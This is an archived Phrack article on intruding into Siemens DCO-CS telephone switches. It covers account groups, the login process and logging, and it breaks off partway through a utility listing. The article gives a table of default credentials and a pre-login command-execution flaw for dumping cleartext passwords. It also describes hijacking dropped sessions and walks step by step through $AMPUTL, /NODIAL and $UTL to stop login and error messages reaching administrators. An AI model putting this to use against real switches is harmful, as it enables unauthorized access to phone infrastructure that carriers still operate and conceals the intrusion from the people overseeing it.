💾 Archived View for aphrack.org › issues › phrack67 › 14.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0e, Issue 0x43, Phile #0x0e of 0x10
|=-----------------------------------------------------------------------=|
|=-----=[ Notes Concerning the Security, Design and Administration ]=----=|
|=-----------=[ of Siemens DCO-CS Digital Switching Systems ]=-----------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ By The Philosopher ]=-----------------------=|
|=--------------------=[ philosopher2600@gmail.com ]=--------------------=|
|=-----------------------------------------------------------------------=|
Relevance/Context-
The Siemens DCO-CS (Digital Central Office Carrier Switch), the premier
Class 5 digital local office switching system to be introduced onto the
American PSTN, (by Stromberg-Carlson-Siemens had not yet purchased the
product line) was originally installed in 1977 in Richmond Hill, Virginia.
Designed as a robust switch rich in features primarily to be used for
smaller LECs, the DCO was produced for over a decade until Siemens, which
acquired the product line in 1990, halted production to focus upon
marketing the EWSD. Nonetheless the DCO-CS remains in relatively widespread
use throughout the PSTN, often in the possession of smaller CLECs (usually
servicing rural areas). For those who wish to explore PSTN switches as well
as those with the objective of securing them, the DCO-CS is worthy of
examination as security of any substance is largely nonexistent.
In light of the above historical information, evidently attributable
becomes the extremely poor security of the DCO-CS to the context of the
time period in which it was initially designed, within nearly a decade
prior to the wide proliferation of the hacker culture potentially
interested in unauthorized entry into telco switches; in addition, the
mentioned relative inclusiveness of features especially as were developed
and added to the existing MMI over a lengthy period of time serves to
establish the potential to defeat the security precautions built into the
switch with its own valid MMI commands. One example: although this is not
directly related to security, many commands in the debug utilities (GBUG,
FPBUG, DEBUG, etc.) in certain versions of the DCO-CS operating system are
redundant in that they are identical yet named differently, so that when
"HELP COMMAND" is entered at the prompt, identical help data will be
displayed for both command names, one of which is usually abbreviated.
Demonstrative this example is of the layered and almost modular evolution
of the DCO MMI. Software updates/upgrades are seemingly uploaded in a
modular fashion without regard for the previous state of the software in
question. The modularity of the interface is further reflected in the
incompatibility of particular utilities with the standard menu
characteristics. It may be observed, for example, that certain utilities
do not contain a "HELP" option as is typical, and that certain utilities
use a linear parameter input system rather than a menu-driven system. It
was likely anticipated upon the design of such programs/commands that the
user would be experienced in and knowledgeable of their usage, rendering an
extensive help file unnecessary.
A Distinction of DCO Terminology-
The words "program", "utility", and "command" will be used somewhat
interchangeably throughout this document, in reference to the commands
prefixed with a "$" at the main MMGR prompt (DCO>) that serve to invoke
interactive menu/parameter systems with specific functions. Also, "DCO"
actually refers to older software revisions prior to the Siemens
acquisition of the line, which was henceforth known as "DCO-CS", but here
it will simply be used as an abbreviation of sorts for the latter, since
the material in this article applies to most software revisions unless
stated otherwise. Also, DCO can refer to the entire DCO family of switches,
including DCO-E, DCO-SE, and DCO-RLS.
Objectives-
In formulating the structure of this paper I encountered minor difficulty
in the establishment of a consistent method of organization and concept
presentation. Initially I intended it to concern solely vulnerabilities
inherent in the design of the DCO-CS and commensurate methods of exploiting
them in order to maximize the concealment of one's presence in such a
system. Quickly I realized, however, that a great deal of explanation of
switch operation was necessary to provide a context in which to discuss
techniques of intrusion and anti-detection, and that documentation/articles
currently available to the underground are inadequate and quite lacking in
this regard; however, they are recommended reference material, for at
minimum they contain the text of the help files of the DCO and a small
amount of basic access suggestions. Consequently this writing exhibits both
modularity and general information, encompassing sections concerning
specific points of interest in conjunction with occasionally redundant
material regarding the switch itself. This facilitates rapid look-up and
browsing through specific techniques, while providing beginning readers
with a satisfactory base of navigational knowledge. It will be assumed,
though, that the reader has access to the help file text, available in
"Guide to navigating and using DCO", written by DemonBytez of CyBrids CSE,
and Mr. Nobody's "The DCO-CS Operating System", both available in various
locations on the Internet. One should also possess at least the background
knowledge covered in both of these articles in order to enhance one's
comprehension of much of the following material. In addition to technical
information surrounding the DCO-CS with an obvious emphasis upon security,
the following also contains the observations of the author as to the
administration of such switches and specifically common practices related
thereto. As the title suggests, these writings, while they present a
coherent article that one may fruitfully follow from introduction to
conclusion, exhibit the general form of notes. Specific techniques are
presented in a sort of "Problem/Solution" format. Also, for evident reasons
of which I am confident the reader is aware, the location data, dates, and
times have been altered or omitted from the captures included herein.
Specific node/site identification information is replaced with
"DCO_CITYDATA" in the following captures, and all dates and times are
either fictitious examples or zeroes simply designed to demonstrate the
general format of the messages. Also, another important note of which to be
mindful is that, while to the extent of the author's knowledge all of the
material contained within this article is correct, the observations made
will not necessarily apply to every DCO switch installation everywhere.
They are generalizations derived from a small sample size and should be
considered as such.
Speculative and Factual Observations as to the Nature of DCO Access
-------------------------------------------------------------------
and General Administration
--------------------------
DCO-CS Topology-
Note: "TTY" herein is used in accordance with its definition, "A generic
term for any computer terminal or associated serial interface" and
"terminal" is used in accordance with the definition, "a device
communicating over a line". (Source: Wikipedia @ http://www.wikipedia.org)
No references to teletypes or TDDs (Telecommunication Devices for the Deaf)
are intended.
Like the Lucent 5ESS, the Siemens DCO-CS is administered through different
TTYs (although, unlike the 5ESS, access to the DCO is not divided into as
many specialized "channels"), with different attributes and functions. The
four types of terminals on the switch, as listed in the help file of the
SETTYP option of the SECTTY utility, are UNEQ (unequipped), CRT (video
display-the I/O terminals from which the switch is directly administered),
TTP (paper printer), and MODEM. The identifying format of these terminals
is TTXX, where XX represents two digits. TT00 is the default system master
console, the terminal from which the MMI as well as various automatic
utilities are consistently run and at which all information, error and
alarm messages terminate (unless they are directed elsewhere-see later in
the document for further information). Dialups connect to other CRT
terminals for remote access.
MMI Idiosyncrasies-
A few notes on the use of the MMI: first, a semicolon ";" serves the same
function as a <CR> (carriage return). Backspaces are displayed as "u".
Within a few utilities, "EXIT" will take effect immediately after being
typed (without a <CR> or ;). If one is idle for a while at a prompt or
menu, "^U" will appear and the prompt will be re-displayed.
Account/User Hierarchy and Structure-
While the hierarchical filesystem arrangement of the DCO-CS bears a
striking fundamental resemblance to that of UNIX, organized a similar
hierarchy of directories and subdirectories with predefined permissions,
the user administration system exhibits numerous significant differences in
its structure. For example, there exists no "root" superuser with
unbridled access to everything, and no user account may interfere directly
in the affairs of another ("directly" here defined as "from the (same)
shell/session") as might be accomplished through successful execution of
the UNIX "su" command. User accounts are instead divided and categorized
into certain groups with certain "purposes" on the switch in anticipation
of differing necessities. The default groups are ADMIN, TMRS, STATUS,
MAINT, SECURE, NAC, ESPF, and SCAT respectively; by default their access is
assigned according to the necessary tasks of each type. The access rights
of accounts are not quantitatively equivalent, either-certain, more
generally used accounts are able to access far more by default than more
specialized accounts, the access of which is restricted to only those
utilities relevant to their intended functions. All of the usernames and
passwords to the various accounts within these groups are contained in the
file printed and modified using the utility $PASSWM. These may or may not
be set to the default, but it is rather likely that they will be, and even
if this is not the case the passwords are unlikely to be very complex due
to the limitations imposed by the MMI (passwords on a DCO may be at maximum
eight characters in length, and only alphanumeric) and simple human apathy;
in many instances it would seem as if extremely simplistic and
easily-guessable/crackable passwords are used on switches due to a
disbelief in the plausibility of unauthorized access. Regardless, the
default passwords for all pre-programmed usernames are simply the usernames
themselves-for instance, the SCAT/SCAT username/password combination. A
concise table of DCO default accounts is as follows:
DCO Defaults
____________
Username Password Group
======== ======== =====
ADMIN ADMIN ADMIN
SECURE SECURE SECURE
TMRS TMRS TMRS
SCAT SCAT SCAT
MAINT MAINT MAINT
STATUS STATUS STATUS
NAC NAC NAC
ESPF ESPF ESPF
It is significant to the attainment and preservation of one's access on a
DCO-CS switch to understand the previously mentioned expected "uses" of
each group of accounts, as one ought to align explorations of the switch
with the anticipated functions for reasons of stealth-an unauthorized user
is far less likely to be detected when using certain accounts for certain
functions that they are intended to be "legitimately" used for. The
execution of certain utilities while logged in under certain accounts might
be viewed as either suspicious or routine by a watchful administrator,
depending upon the account and context in which the activity occurs.
Although a few techniques exist that serve to provide such a user with a
greater degree of "freedom" in this regard by concealing from those
monitoring the switch evidence of non-routine activity as is covered
elsewhere in this article, it is still useful and certainly prudent to
coincide one's activity with appropriate accounts in a limited number of
instances. Plus, it is important to consider that the efficient and
stealthy employment of the techniques that follow may not always be
practical or possible, so this general method of remaining proverbially
"under the radar" is fundamentally beneficial. An explanation of the
various groups/default accounts follows:
ADMIN - This is an administrative group/account, used primarily for the
purposes of administering the various tables and databases on the switch,
especially those that pertain to network/routing functions. What the
authors of the previously mentioned DCO articles obviously failed to
realize, in their insinuations to the effect that ADMIN is an all-powerful
account with extremely extensive access rights, is that ADMIN is merely
another account with access rights defined according to the necessary tasks
of its group. It lacks access to a great deal by default, actually,
especially files and utilities concerning switch security. The access
rights of ADMIN often overlap with those of MAINT; therefore, it is
necessary to understand the differentiations between them, revealed
through a closer examination of the areas in which the two accounts/groups
do not overlap. MAINT, as explained in greater detail later, is an account
intended to be used for the performance of routine maintenance
functions-the administration of such tables is not routine maintenance, as
is reflected in the access rights of the MAINT group/account. The default
access of the admin account may also be conceptualized as the bridge of
sorts between "intra-switch" and "extra-switch" functions-that is,
functions (and corresponding utilities/files) that are related only to the
switch itself (intra-switch), and those with a broader sphere of influence
on the network (extra-switch). See the "Utility Diagram" for more
information on and examples of this concept. Examples of strictly
intra-switch functions include disk operations, processor operations,
debugging, etc.-similarly, examples of extra-switch functions include call
tracing, routing, trunk operations, WATS number functions, etc. ADMIN by
default also has access to intra-switch administrative utilities such as
ABNUTL (PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS), AUDIT (VERIFY S/W
RECORD OF H/W STATES MATCH ACTUAL H/W), COPY (COPY DATABASES FROM MEMORY TO
DISK), etc. where it overlaps with MAINT.
SECURE - The access of SECURE largely overlaps with all other account
groups on the utilities to which all or nearly all other account groups
have default access ($ABORT, $AMPUTL, $CONFIG, $DUMPER, $HEY, etc.). Its
specialization is revealed, though, in the utilities accessible only by it
and SCAT, or it, SCAT, and MAINT. These include various alarm utilities,
$PASSWM, $BLDINH, and $SECTTY-all utilities regarding switch security, as
the name of the group implies. In a limited number of cases SECURE may be
less conspicuous than SCAT if only these sorts of utilities must be
accessed.
TMRS - This group/account is primarily intended for uses related to the
Traffic Measurement and Recording System (TMRS), a system that gauges
network traffic through the switch and generates reports with pertinent
information. On a side note, TMRS may often be an active task on the master
console. It is able to access many intra-switch functions necessary to the
expedient operation of TMRS, as might be assumed-debug utilities,
configuration control, etc. Its access rights frequently overlap with those
of ADMIN and STATUS.
SCAT - The closest group/account present on the DCO-CS to a "superuser".
SCAT is an acronym for "Stromberg-Carlson Assistance Team", the DCO-CS
equivalent of ETAS on a DMS-100. The function of SCAT, while the DCO-CS
product line was supported by Stromberg-Carlson/Siemens, was to provide
technical support for the install base in the instance of technical
problems/failures, especially during emergencies (critical equipment
failure, software issues, etc.). As a result, SCAT is authorized by default
to access nearly everything on the switch within the filesystem, usually
with the highest access rights possible (typically RWX), as, in the event
of an emergency, such omnipotent access would be vitally necessary. The RWX
permission is a significant distinction of the SCAT group as most other
account groups only have read/execute permission on most files. However,
there are a few files on the switch that SCAT is not permitted to access
(by default, naturally)-for instance, the utility $AMCDMP (that which
administers AMA message thresholds). By default, SCAT is often the only
account/group authorized to log in through the dial-up ports, as only SCAT
would usually require remote access to the switch. Logging in as SCAT is
extremely conspicuous, though, particularly at odd hours, as the
account/group is NOT supposed to be used for routine/ordinary tasks. It
would be advisable from an unauthorized user's standpoint to perhaps log in
as SCAT once in order to authorize other account groups to log in through
the dialup(s), until the attentiveness of those overseeing the switch's
operation is gauged.
MAINT - MAINT is the general maintenance group/account on the DCO-CS; as
stated previously, it is used primarily for the performance/execution of
routine (and non-routine) tasks related to switch maintenance. As such, it
is authorized to access a great deal, often exclusively, where SCAT is the
only other account group with access rights on certain files. MAINT is the
only default account group/account, in fact, that is "exclusively"
authorized to access certain utilities in this manner. AMA is an example of
a such a utility to which only MAINT and SCAT have access rights in the
default/typical configuration. As might be expected, MAINT is mainly able
to access intra-switch functions. One preferred, recommended account for
preliminary exploration is MAINT, for it, as a maintenance account, is by
default enabled to access quite a few significant files and programs, and
suspicions may be less aroused should it be seen logging in at odd hours
and/or constantly.
STATUS - The STATUS group/account is, as its name implies, used for
checking and occasionally modifying the status of the system. Its access
overlaps frequently with ADMIN, MAINT, TMRS and, of course, SCAT; the
default access of STATUS is confined to "intra-switch" utilities and the
occasional utility not easily classified as either "intra-" or "extra-"
switch. Most of the utilities to which STATUS is assigned default access
are used for such functions as alarm management, various types of
verification, disk functions, conversion of equipment numbers, etc.
NAC - NAC is an acronym for "Network Access Control"-the administration
charged with overseeing the various pieces of equipment connected to the
network and general network interactions. Expectedly, its default access
mainly lies with "extra-switch" network utilities and the those used to
modify the aforementioned tables, also accessible with ADMIN. The NAC
terminal and thus group may not be equipped on a particular switch (see
"$SECTTY"), so it may not be possible to log in under the NAC default
account.
ESPF - ESP denotes, "Essential Service Protection". Along with ADMIN, NAC
and SCAT, ESPF is typically able to access "extra-switch" utilities such as
those related to routing, the hotline database, INWATS, class of service,
etc., all "essential services". As with NAC, the "ESPF option" may not be
equipped on a particular switch, and thus the account/group associated with
it may be unused. The $STATUS utility may be used to determine if it is
equipped:
STA> AREA TO DISPLAY (AREA=HELP) > ESPF
DCO_CITYDATA
09-00-00 00:00:00 MONDAY ESPF STATUS REPORT:
STATUS: ESPF OPTION NOT EQUIPPED
STATUS COMPLETE
Attainment of Access
--------------------
Upon connecting to a TTY via a dialup or another method, the LOGIN utility
is invoked automatically, which will prompt the user for the username and
password necessary to log in. By default ten attempts at login (entries of
a username and password pair) are permitted before the following message is
displayed, indicating an excess of unsuccessful attempts:
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
MP .0676:TTY=TT1 EXCESSIVE LOGIN ATTEMPTS
Subsequently the user will be "locked out" of the terminal for a period of
approximately five minutes in which the system remains unresponsive to
input. The amount of login attempts made is not "reset" if one disconnects
from the dialup/terminal and reconnects; instead, the tracking of login
attempts is based upon time-one must wait a few minutes prior to attempting
ten more login attempts.
Unauthorized Execution-
Prior to logging on to the switching station, the user is required within
approximately 15 seconds following successful connection to send a hard
break or a <CR> in order to display the prompt. Within this 15 second
period a vulnerability exists whereby a valid MMI (man-machine interface)
command typed and sent will be dutifully executed by the DCO, allowing
temporary control of the MMI command flow to anyone calling the dialup!
Potential for great compromise of the system exists if the attacker runs a
command such as $PASSWM, which prints a complete list of user accounts and
passwords on the switch in clear-text! Note: on the latest software
release, that released in 2003, the maintenance processor (MP) must be
experiencing a malfunction or otherwise be bogged down with an influx of
tasks for this technique to work properly. Of all of the vulnerabilities
presented here the execution of this is the most variable-it has been known
to occur, though, in instances of an MP malfunction, specifically on the
DCO-SE (see "An Additional Note:" for more information).
Absence of Automatic Logout-
Like several older versions of UNIX, the DCO-CS does not automatically log
out of a session in the instance of user disconnection from the
dialup/terminal. Anyone calling the switch will be thus enabled to
"drop in" on the other user's session in all aspects, in addition to being
able to execute commands if a user left the session open while hanging up
the connection/modem. This is task-specific-that is, if a task is not
aborted and the user who executed it hangs up, the sub-prompt for that task
will be displayed to anyone calling the switch thereafter as that task will
be active. This state may include tasks only supposed to be executable by
user accounts with higher levels of access. The sole measure necessary to
ensure success in gaining control of a session and hence potentially the
entire switch (as access may be modified- privileges escalated, depending
upon the account temporarily "hijacked" in this fashion, etc.) is to
consider the time zone in which the object switch is located, in order to
determine prime hours of operation and of account access and usage. In the
instance that the would-be intruder is physically unable to monitor the
dialup/port for dropped sessions and exploit them, a simple script written
in a language compatible with the terminal client of choice is all that is
required. Thus, this single characteristic of the switch-among others, it
is certain, seen previously and henceforth in this admittedly alinear
document-ensures that one who accrues the knowledge of a dialup is very
nearly guaranteed successful infiltration/ penetration of it, even in the
face of other, also ineffective barriers erected presumably for purposes of
security. However, one may experience a limited degree of difficulty with
this method of intrusion in the instance that one has logged in via the
dialup port and properly logged out, in which case another one of the
aforementioned loopholes may be traversed in order to gain eventual
unfettered access. Also, an option does exist within the $SECTTY utility
(discussed forthwith) to activate an idle logout on a particular TTY, but
even this will not log a user out until an extended period of complete
inactivity has passed-it is still possible to connect to a terminal and
resume a session with this option activated, if one connects within this
said window of time. It is a trivial matter indeed to automatically and
repeatedly call a dialup in order to connect just after a user's activity
has ceased (indicating a departure from the terminal) and prior to the
auto-logout due to inactivity. Regardless, this is not a default setting,
and it is perhaps quite rare that one will encounter it.
Passive Observation-
A rather simple means through which to learn various information pertaining
to a DCO, that which may prove ultimately useful in the attainment of
access thereto, is merely that of passive observation of the information
messages that are displayed even prior to a login-i.e., monitoring the
dialup. This tendency to display status and other messages to anyone who
calls a dialup is quite unique to the DCO, although other switches such as
the EWSD exhibit this characteristic as well. Only messages ordinarily
broadcast to all ports (or the dial-in TTYs, at least) are displayed prior
to login, with the most common utility to which these messages pertain the
$SNCUTL (Synchronous Network Clock Utility). One explanation for this
idiosycrasy lies in the fact that, when one calls a DCO dialup, one is
automatically connected to the corresponding TTY-the login prompt/program
is simply another utility executed like any other (notably, the prompt
itself reveals this-the "LOG>" portion is of the similar format to all
other utility menu prompts-the first three letters of the utility + ">")
except that it is executed automatically upon connection if LOGOFF has been
during the last session from that TTY, as opposed to a front-end program
that must be satisfied with proper credentials in order to connect to the
switch at all. In other words, LOGIN technically serves to restrict access
to the remainder of the utilities and files on the switch through the MMI
rather than access to the MMI itself.
Concealment of Presence
-----------------------
Although the DCO, as has been previously demonstrated, does not exhibit
PREVENTIVE security measures implemented with any degree of rigor, there
does exist a simple yet potentially effective means of detection of
potentially suspicious activity of those with access to the switch:
extensive logging. The majority of actions performed within the MMI are
relentlessly logged and broadcast, in messages of the following format:
DCO_CITYDATA 09-00-00 00:00:00 LOGIN TT01
MP .0354:TTY=TT1,USERNAME=MAINT LOGGED IN
The date, time, program executed or file accessed (if applicable), port of
origination, sortkey, terminal, and message in ASCII text comprise, in that
order from left to right, top to bottom, the message, the likes of which is
output by default to the local terminal in addition to the console (TT00),
where the attentive administrator or technician will undoubtedly notice odd
or unexpected activity, such as logins during strange hours, execution of
programs outside of the aforementioned sphere of tasks of a particular
account, activity on a particular port that may differ from that upon which
the account/user logged in is ordinarily present, etc. The potential
negative impact of this upon the maintenance of one's (presumably
unauthorized) access should be evident; fortunately for the unauthorized
user, there exist a small variety of methods using a few key utilities to
mitigate the effect of these messages.
Defeating the Printing and Logging of Status Messages-
Although it is not directly preventive and thus not a strictly classified
"security" measure, the constant deluge of status messages pertaining to
the execution and exit of utilities, etc., especially that of the LOGIN and
LOGOFF utilities, presents a challenge to potential intruders as they are
by default broadcast to the console (TT00). These messages are identified
by "sortkeys" of the format XXX.0000 or XX.000, where XX(X) are two or
three letters signifying the classification/type of the message and the
zeroes the number of the exact message, which is either three or four
digits in length. Sortkey numbers of three digits in length may be typed
with a preceding zero (MP.0354 or MP.354) as well. A list of sortkey
prefixes (or "groups") follows, provided by $AMPUTL, which is discussed
elsewhere in this document:
AMP> SORTKEY (SORTKEY=HELP) >
VALID RESPONSES ARE GROUP TYPES FOLLOWED BY A GROUP NUMBER YYY.XXXX
YYY IS THE ALPHA QUALIFIER FOR THE GROUP TYPE
XXXX IS THE NUMERIC QUALIFIER FOR THE GROUP NUMBER
* , YYY.* CAN BE USED FOR ALARMS WITHIN A GROUP
'DONE' CAN BE USED TO TERMINATE THE PROMPT IF THE TASK IS IN A REPEAT
MODE
ACI.XXXX - ALARM COMMUNICATION INTERFACE
ADM.XXXX - ADMINISTRATIVE
ALT.XXXX - AUTOMATIC LINE TESTING
AMA.XXXX - AUTOMATED MESSAGE ACCOUNTING
CBC.XXXX - COMMUNICATION BUS CONTROLLER
CLC.XXXX - COMMUNICATION LINK CONTROLLER
CLK.XXXX - SNC, ANI, CLOCKS
CP.XXXX - CALL PROCESSOR ALARMS
CPE.XXXX - CALL PROCESSOR ERROR ALARMS
CUS.XXXX - CUSTOMER GENERATED ALARMS
DLI.XXXX - DATA LINK INTERFACE
DS1.XXXX - DIGITAL T-1 SPAN MODULE ALARMS
ENV.XXXX - ENVIORNMENTAL ALARMS
FP.XXXX - FEATURE PROCESSOR
LGC.XXXX - LINE GROUP CONTROLLER
AMP> ADDITIONAL HELP (MORE=YES) >
LIN.XXXX - LINE
LSC.XXXX - LINE SWITCH CONTROLLER
LTC.XXXX - LINE TEST CONTROLLER
MAH.XXXX - HOST MESSAGE ASSEMBLER
MAR.XXXX - REMOTE MESSAGE ASSEMBLER
MCC.XXXX - MCC ALARMS
MCI.XXXX - MAINTENANCE COMMUNICATION INTERFACE
MDC.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 1
MD2.XXXX - MAINTENANCE AND DIAGNOSTIC CONTROLLER 2
MIC.XXXX - MESSAGE INTERFACE CONTROLLER
MP.XXXX - MAINTENANCE AND ADMINISTRATION PROCESSOR
PWR.XXXX - POWER ALARMS
RLG.XXXX - REMOTE LINE GROUP
RNG.XXXX - RINGING
RPL.XXXX - REMOTE POLLED LAMA
SLC.XXXX - SLC-96
SS7.XXXX - SS7 ALARMS
SSC.XXXX - SIGNALLING SYSTEM CONTROLLER
SVC.XXXX - SERVICE CIRCUITS
TMP.XXXX = TMP ALARMS
TON.XXXX - TONE
AMP> ADDITIONAL HELP (MORE=YES) >
TPP.XXXX - TELEPHONY PRE-PROCESSOR
TRK.XXXX - TRUNK
TST.XXXX - TEST ALARMS
The knowledge of the sortkey of a particular message is necessary to alter
or display data associated with that message within the following
utilities. Sortkeys may be identified in messages as seen above, or looked
up in the $AMPUTL utility. The messages are quite inherently extensive in
their reporting of the conditions in which the task reported upon was
executed; thus, they provide an extremely incriminating record of
unauthorized or "odd" activity on the switch. The author is personally
aware of at least one specific instance in which an individual's access to
a DCO was permanently terminated due to precisely this-the astute viewing
of messages printed to the console and elsewhere culminating in a
realization of unauthorized activity. It is therefore extremely important
for the unauthorized user to control when, how, and where these messages
are printed. There exist to this end a few effective methods by which to
thwart the tracking of one's activity on the switch using the utilities and
access available as a segment of the MMI. It is recommended that all of
these be used in combination, in order to ensure maximum possible stealth.
All are generally individually limited by the existence of the logging
measures defeated by the others; for instance, the use of the command
parameter /NODIAL is assistive in concealing one's presence, but the
storage and direction of information messages generated by
utilities/programs will require the use of $AMPUTL to protect most fully
the secrecy of usage.
The /NODIAL Parameter-
Within the DCO MMI there are certain parameters that may be affixed to
command strings in order to handle the input and output of commands.
/NODIAL is one such parameter. It is an abbreviation for "NO DIALOGUE",
indicating that the execution of a command/menu option to which it is
affixed will not be itself reported to the defined termination points (the
ports/TTYs to which the message is sent/printed). Alternately conveyed, one
through the use of /NODIAL avoids the printing of this sort of
"BEGIN/END DIALOGUE" message:
DCO_CITYDATA 09-00-00 00:00:00 ADMIN TT01
M ADM.0000: ADMIN BEGIN DIALOGUE
The begin/end dialogue messages may not be manipulated through $AMPUTL or
the other following utilities, since the sortkey ADM.0000 is not recognized
by them as valid. ADM.0000 is a universal sortkey of sorts, used to signify
all "begin dialogue" messages for all utilities/programs; it is thus
unassigned to any particular message. Likewise, sortkey ADM.0001
universally signifies all "end dialogue messages", and is unassigned
therefore as well. An attempt to alter or display a message with sortkey
ADM.0000 through $AMPUTL will prompt the following output:
AMP> SORTKEY (SORTKEY=HELP) > ADM.0000
AMPUTL: SORTKEY IS UNASSIGNED
/NODIAL will offer one a degree of anonymity, then, but it does not prevent
certain messages from being printed/displayed.
Thwarting Information Messages With $AMPUTL-
A method exists to defeat the broadcast of messages using the $AMPUTL
command, the likes of which entails the use of the Alarm Message Processing
Utility, a program accessible to all default groups. The AMPUTL menu system
is as follows:
$AMPUTL
AMP> FUNCTION (FUNCTION=HELP) >
CHANGE - CHANGE MESSAGE
DISPLAY - DISPLAY MESSAGE
EXIT
The "DISPLAY" option will display the text of the message itself in
addition to other information pertaining to it, such as the termination
points, alarm level (if applicable), etc. Here is an example of the output
of "DISPLAY" for sortkey MP.0354, which identifies the message that a user
has logged into the switch:
AMP> FUNCTION (FUNCTION=HELP) > DISPLAY
AMP> SORTKEY (SORTKEY=HELP) > MP.0354
SORTKEY ENTRY MP .354
<TTY><DT1=USERNAME.A8>LOGGED IN
ALARM LEVEL NONE
INFORMATION MESSAGE
NO ACI INTERFACE, TERMINAL LIMIT 0
TERMINATION POINTS ARE CONSOLE, TI:,
The first field obviously contains the sortkey used to identify the
message, the second line/field the ASCII text of the message, the third
field the alarm level, (which is here "NONE" since the logging in and out
of users does not activate an alarm), the fourth the type of message, the
fifth the type of interface and terminal limit associated with the message,
and the final field the termination points. Using the "CHANGE" option to
alter the properties of any particular message, a multitude of options may
be set, but most importantly the text and termination points of the message
may be altered, presenting two possible venues to negate the revealing
effect of such messages. The termination point may be set thus to the
initiating terminal only, or the text of the message may be altered to suit
the needs of an intruder. A list of attributes that may be altered through
CHANGE follows:
AMP> FUNCTION (FUNCTION=DISPLAY) > CHANGE
AMP> FIELD (FIELD=HELP) >
ADMINISTERABLE FIELDS ARE:
EXIT - EXIT AMPUTL
^ - QUIT CHANGE WITHOUT UPDATING
DONE - UPDATE DATABASE ON DISK
ACI - ALARM CONTROL INTERFACE
DELAY - DELAY ALARM SENDING
E2A - E2A ADDRESS
FEI - FAULT, ERROR, OR INFORMATION
GROUP - GROUPING NUMBER
LEVEL - ALARM LEVEL
LIMIT - TERMINAL LIMIT
MASKABLE - MASKABILITY FLAG
REPEAT - REPEAT FLAG
TERMPT - TERMINATION POINTS
TEXT - ASCII TEXT (OUTPUT MESSAGE)
RLS - RLS ALARM MESSAGE
BMP - BMP LED ASSIGNMENT
To alter the termination points of the message, thereby instructing the
switch to print it only to certain specified terminals/TTYs, TERMPT is
entered at the FIELD prompt:
AMP> FIELD (FIELD=HELP) > TERMPT
TERMPTS ARE CONSOLE, TI:,
The current termination points of this message were, as displayed, the
console and TI (initiating terminal). Numerous devices are then presented
which may be set as termination points for the message:
AMP> DEVICE (DEVICE=HELP) >
EXIT - EXIT FROM MASKING UTILITIES
^ - BACKUP TO PREVIOUS PROMPT
DONE
ALL - ALL PORTS
CONSOLE - SYSTEM CONSOLE
NAC - NAC TERMINAL
RLS - RLS TERMINAL
AMATPS - AMATPS MESSAGE FILE
TT00-TT31 - ANY PARTICULAR TTY
TI - INITIATING TERMINAL
For maximum stealth it would be advisable to set the termination points of
a message to the initiating terminal only, so that it will be displayed
only on the remote user's terminal, here TT01, when it is invoked by said
user:
AMP> DEVICE (DEVICE=HELP) > CONSOLE
AMP> STATUS (STATUS=HELP) >
REMOVE
ADD
^
EXIT
AMP> STATUS (STATUS=HELP) > REMOVE
AMP> DEVICE (DEVICE=DONE) >
AMP> FIELD (FIELD=HELP) > TERMPT
TERMPTS ARE TI:,
AMP> DEVICE (DEVICE=HELP) > DONE
AMP> FIELD (FIELD=DONE) >
AMP> FUNCTION (FUNCTION=CHANGE) >
Following this procedure, the termination point of the message MP.0354 is
set only to the initiating terminal; when a user logs in from TT01, the
information message announcing it will only be displayed on his/her
terminal and will not be printed to the console. It would be most useful
for an unauthorized user to set the termination points of the following few
messages to TI only: MP.0354 (<TTY><DT1=USERNAME.A8>LOGGED IN), MP.0343
(<TTY>LOGGED OFF), MP.0676 (<TTY>EXCESSIVE LOGIN ATTEMPTS), MP.0002 (FILE
NOT FOUND ON DISK), MP.0461 (<TASK><FILE>INVALID NAME) and MP.0733 (INVALID
TASK NAME) as these will commonly and naturally, as a matter of course, be
displayed through navigation into and around the switch and reveal
glaringly more than any other information or error messages an unauthorized
presence.
Monitoring Other TTYs and Redirecting Messages With $UTL-
Occasionally during the course of switch use it may prove useful to monitor
and manage tasks active on other terminals and to redirect I/O. The Utility
Program ($UTL) may be employed to accomplish these and other functions
related to task management. Unlike other utilities discussed throughout,
the "function codes" of $UTL must be entered in a single string on the
command line:
$UTL /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
UTL:INVALID FUNCTION CODE
DCO>
$UTL HELP /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
FUNC DESCRIPTION FORMAT EXAMPLES
==== ======================= ===============
ACT ACTIVE TASK LIST ACT
OR ACT ALL
OR ACT TERM
OR ACT TERM:TT06
OR ACT ALL TERM
OR ACT ALL TERM:TT06
ATB AUTO TRUNK MAKE BUSY ATB 122.:ON=50.
OR ATB 37.:OFF
BRO BROADCAST MESSAGE BRO TT02 HELLO
OR BRO ALL REBOOT
DMO DISMOUNT DEVICE/FEATURE DMO I1:
OR DMO CNTRL
OR DMO REQUIRED
OR DMO LSXWRI 430
MOU MOUNT DEVICE/FEATURE (SEE DMO EXAMPLES)
PRI STATIC PRIORITY PRI
OR PRI STATUS
OR PRI STATUS=100
RED REDIRECT TASK I/O RED STATUS:TT01
RPR RUN PRIORITY (SEE PRI EXAMPLES)
SCED SCHEDULED TASKS SCED
TID TERMINAL ID QUERY TID
ACT will display a list of active tasks based upon the parameter entered.
As seen in the capture, to display tasks active on a particular terminal,
one would enter:
$UTL ACT TERM:TTXX
ATB will busy out a specified trunk, BRO will broadcast a message to
another terminal, PRI sets priority of tasks, and DMO/MOU will mount or
dismount devices/features. Possibly the most useful function of UTL is RED,
which may be entered to redirect the I/O of a task to another terminal as
seen in the format example in the capture. Reports generated with numerous
other utilities might be printed elsewhere, etc. TID or "TERMINAL ID QUERY"
will simply display the terminal that one is currently using, similar to
the "tty" command in DMERT/UNIX-RTR/5ESS UNIX on a Lucent 5ESS.
$UTL TID /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
TERMINAL ID => TT01
Rerouting Messages with $RRTUTL-
The $RRTUTL utility may be used to reroute messages destined for a
particular TTY and to display message routing to terminals.
RRT> FUNCTION (FUNC=HELP) >
VALID FUNCTIONS ARE:
LIST - LIST ALL LOCAL OR REMOTE TERMINAL ROUTING
DISPLAY - DISPLAY ONE LOCAL OR REMOTE TERMINAL ROUTING
